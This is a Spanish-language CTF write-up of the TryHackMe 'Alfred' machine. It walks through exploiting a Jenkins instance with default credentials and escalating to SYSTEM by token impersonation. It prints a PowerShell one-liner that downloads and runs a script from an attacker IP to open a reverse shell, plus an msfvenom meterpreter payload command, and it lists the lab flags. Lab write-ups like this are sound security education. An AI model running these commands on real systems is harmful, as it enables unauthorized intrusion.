Gabriel Tello

Alfred (THM)

Fecha de publicación: | 500 palabras | 3 mins

Writeup de la máquina Alfred en TryHackMe.

Resumen

Vamos a ver cómo explotar una máquina Windows con un servicio Jenkins expuesto. Usando credenciales por defecto, logramos ejecutar comandos remotos a través de la funcionalidad de construcción de Jenkins y obtenimos un acceso inicial. A partir de ahí, escalamos privilegios utilizando técnicas de suplantación de tokens, alcanzando finalmente control administrativo total del sistema.

Reconocimiento

Lo primero fue realizar un escaneo de red con nmap para identificar puertos y servicios abiertos.

Resultado del reconocimiento

Sistema Operativo Dirección IP Puertos Abiertos
Windows Server 10.10.149.26 80, 3389, 8080

Comando nmap y resultados

Comando nmap y resultados

Los puertos 80 y 8080 fueron analizados en el navegador. En el puerto 8080, encontré un portal de inicio de sesión de Jenkins, una herramienta ampliamente usada para CI/CD.

Explotación

Probé credenciales por defecto (admin:admin) en el portal de Jenkins, y sorpresa: funcionaron. Esto me dio acceso al dashboard.

Dashboard de Jenkins

Dashboard de Jenkins

En la configuración del proyecto, utilicé la sección “Build” para ejecutar comandos. Usé este script de PowerShell para establecer una reverse shell:

1iex (New-Object Net.WebClient).DownloadString('http://10.6.5.62:8008/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.6.5.62 -Port 4321

Con la opción Build Now, conseguí conectarme exitosamente a la máquina objetivo desde mi terminal atacante.

Comando de reverse shell en Jenkins

Comando de reverse shell en Jenkins

Acceso mediante reverse shell

Acceso mediante reverse shell

Escalación de Privilegios

Una vez dentro de la máquina, generé un payload ejecutable para obtener una sesión de meterpreter utilizando msfvenom:

1msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.6.5.62 LPORT=4444 -f exe -o revshell.exe

Transferí el payload a la máquina objetivo utilizando certutil y lo ejecuté, estableciendo una conexión meterpreter con mi máquina atacante.

Configuración del receptor en Metasploit

Configuración del receptor en Metasploit

Revisando los privilegios del usuario, podemos ver que tenemos los permisos SeDebugPrivilege y SeImpersonatePrivilege. Estos permisos permiten suplantar tokens y acceder a procesos con permisos elevados. Utilicé el módulo incognito de Metasploit para explotarlos.

Uso del módulo incognito

Uso del módulo incognito

Finalmente, migré el proceso a un servicio con permisos SYSTEM, logrando control completo sobre la máquina.

Migración a un proceso privilegiado

Migración a un proceso privilegiado

Banderas

Con acceso administrativo, encontré las banderas:

  • user.txt: 79007a09481963edf2e1321abd9ae2a0
  • root.txt: dff0f748678f280250f25a45b8046b4a

Herramientas Utilizadas

Herramienta Descripción
nmap Escaneo de red y detección de servicios abiertos.
Jenkins Plataforma explotada con credenciales por defecto para ejecutar comandos.
msfvenom/metasploit Generación de payloads y escalación de privilegios con el módulo incognito.
certutil Transferencia del payload a la máquina objetivo.

Conclusión

La explotación del sistema Alfred reveló problemas críticos como servicios expuestos con credenciales por defecto y configuraciones incorrectas de privilegios, lo que permitió escalar hasta el nivel de administrador.

Recomendaciones

  • Actualizar Jenkins y eliminar credenciales por defecto.
  • Configurar un firewall para restringir accesos innecesarios.
  • Implementar políticas de contraseñas robustas.
  • Limitar privilegios innecesarios en los usuarios.

#Windows   #Pentesting   #Metasploit   #Red Team   #Tryhackme   #Thm   #Writeup  

Responder a este post por correo ↪